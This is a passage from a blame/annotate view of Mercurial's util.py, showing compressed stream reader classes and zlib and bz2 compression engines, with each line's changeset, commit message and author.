3377 return ''.join(buf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3378 chunk = self._reader(65536) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3379 self._decompress(chunk) |
39209
1af95139e5ec
util: improve handling of truncated compressed streams
Joerg Sonnenberger <joerg@bec.de>
parents:
39060
diff
changeset
|
3380 if not chunk and not self._pending and not self._eof: |
1af95139e5ec
util: improve handling of truncated compressed streams
Joerg Sonnenberger <joerg@bec.de>
parents:
39060
diff
changeset
|
3381 # No progress and no new data, bail out |
1af95139e5ec
util: improve handling of truncated compressed streams
Joerg Sonnenberger <joerg@bec.de>
parents:
39060
diff
changeset
|
3382 return ''.join(buf) |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3383 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3384 class _GzipCompressedStreamReader(_CompressedStreamReader): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3385 def __init__(self, fh): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3386 super(_GzipCompressedStreamReader, self).__init__(fh) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3387 self._decompobj = zlib.decompressobj() |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3388 def _decompress(self, chunk): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3389 newbuf = self._decompobj.decompress(chunk) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3390 if newbuf: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3391 self._pending.append(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3392 d = self._decompobj.copy() |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3393 try: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3394 d.decompress('x') |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3395 d.flush() |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3396 if d.unused_data == 'x': |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3397 self._eof = True |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3398 except zlib.error: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3399 pass |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3400 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3401 class _BZ2CompressedStreamReader(_CompressedStreamReader): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3402 def __init__(self, fh): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3403 super(_BZ2CompressedStreamReader, self).__init__(fh) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3404 self._decompobj = bz2.BZ2Decompressor() |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3405 def _decompress(self, chunk): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3406 newbuf = self._decompobj.decompress(chunk) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3407 if newbuf: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3408 self._pending.append(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3409 try: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3410 while True: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3411 newbuf = self._decompobj.decompress('') |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3412 if newbuf: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3413 self._pending.append(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3414 else: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3415 break |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3416 except EOFError: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3417 self._eof = True |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3418 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3419 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3420 def __init__(self, fh): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3421 super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3422 newbuf = self._decompobj.decompress('BZ') |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3423 if newbuf: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3424 self._pending.append(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3425 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3426 class _ZstdCompressedStreamReader(_CompressedStreamReader): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3427 def __init__(self, fh, zstd): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3428 super(_ZstdCompressedStreamReader, self).__init__(fh) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3429 self._zstd = zstd |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3430 self._decompobj = zstd.ZstdDecompressor().decompressobj() |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3431 def _decompress(self, chunk): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3432 newbuf = self._decompobj.decompress(chunk) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3433 if newbuf: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3434 self._pending.append(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3435 try: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3436 while True: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3437 newbuf = self._decompobj.decompress('') |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3438 if newbuf: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3439 self._pending.append(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3440 else: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3441 break |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3442 except self._zstd.ZstdError: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3443 self._eof = True |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3444 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3445 class _zlibengine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3446 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3447 return 'zlib' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3448 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3449 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3450 """zlib compression using the DEFLATE algorithm. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3451 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3452 All Mercurial clients should support this format. The compression |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3453 algorithm strikes a reasonable balance between compression ratio |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3454 and size. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3455 """ |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3456 return 'gzip', 'GZ' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3457 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3458 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3459 return compewireprotosupport('zlib', 20, 20) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3460 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3461 def revlogheader(self): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3462 return 'x' |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3463 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3464 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3465 opts = opts or {} |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3466 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3467 z = zlib.compressobj(opts.get('level', -1)) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3468 for chunk in it: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3469 data = z.compress(chunk) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3470 # Not all calls to compress emit data. It is cheaper to inspect |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3471 # here than to feed empty chunks through generator. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3472 if data: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3473 yield data |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3474 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3475 yield z.flush() |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3476 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3477 def decompressorreader(self, fh): |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3478 return _GzipCompressedStreamReader(fh) |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3479 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3480 class zlibrevlogcompressor(object): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3481 def compress(self, data): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3482 insize = len(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3483 # Caller handles empty input case. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3484 assert insize > 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3485 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3486 if insize < 44: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3487 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3488 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3489 elif insize <= 1000000: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3490 compressed = zlib.compress(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3491 if len(compressed) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3492 return compressed |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3493 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3494 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3495 # zlib makes an internal copy of the input buffer, doubling |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3496 # memory usage for large inputs. So do streaming compression |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3497 # on large inputs. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3498 else: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3499 z = zlib.compressobj() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3500 parts = [] |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3501 pos = 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3502 while pos < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3503 pos2 = pos + 2**20 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3504 parts.append(z.compress(data[pos:pos2])) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3505 pos = pos2 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3506 parts.append(z.flush()) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3507 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3508 if sum(map(len, parts)) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3509 return ''.join(parts) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3510 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3511 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3512 def decompress(self, data): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3513 try: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3514 return zlib.decompress(data) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3515 except zlib.error as e: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3516 raise error.RevlogError(_('revlog decompress error: %s') % |
37084
f0b6fbea00cf
stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37083
diff
changeset
|
3517 stringutil.forcebytestr(e)) |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3518 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3519 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3520 return self.zlibrevlogcompressor() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3521 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3522 compengines.register(_zlibengine()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3523 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3524 class _bz2engine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3525 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3526 return 'bz2' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3527 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3528 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3529 """An algorithm that produces smaller bundles than ``gzip``. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3530 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3531 All Mercurial clients should support this format. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3532 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3533 This engine will likely produce smaller bundles than ``gzip`` but |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3534 will be significantly slower, both during compression and |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3535 decompression. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3536 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3537 If available, the ``zstd`` engine can yield similar or better |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3538 compression at much higher speeds. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3539 """ |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3540 return 'bzip2', 'BZ' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3541 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3542 # We declare a protocol name but don't advertise by default because |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3543 # it is slow. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3544 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3545 return compewireprotosupport('bzip2', 0, 0) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3546 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3547 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3548 opts = opts or {} |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3549 z = bz2.BZ2Compressor(opts.get('level', 9)) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3550 for chunk in it: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3551 data = z.compress(chunk) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3552 if data: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3553 yield data |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3554 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3555 yield z.flush() |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3556 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3557 def decompressorreader(self, fh): |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3558 return _BZ2CompressedStreamReader(fh) |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3559 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3560 compengines.register(_bz2engine()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3561 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3562 class _truncatedbz2engine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3563 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
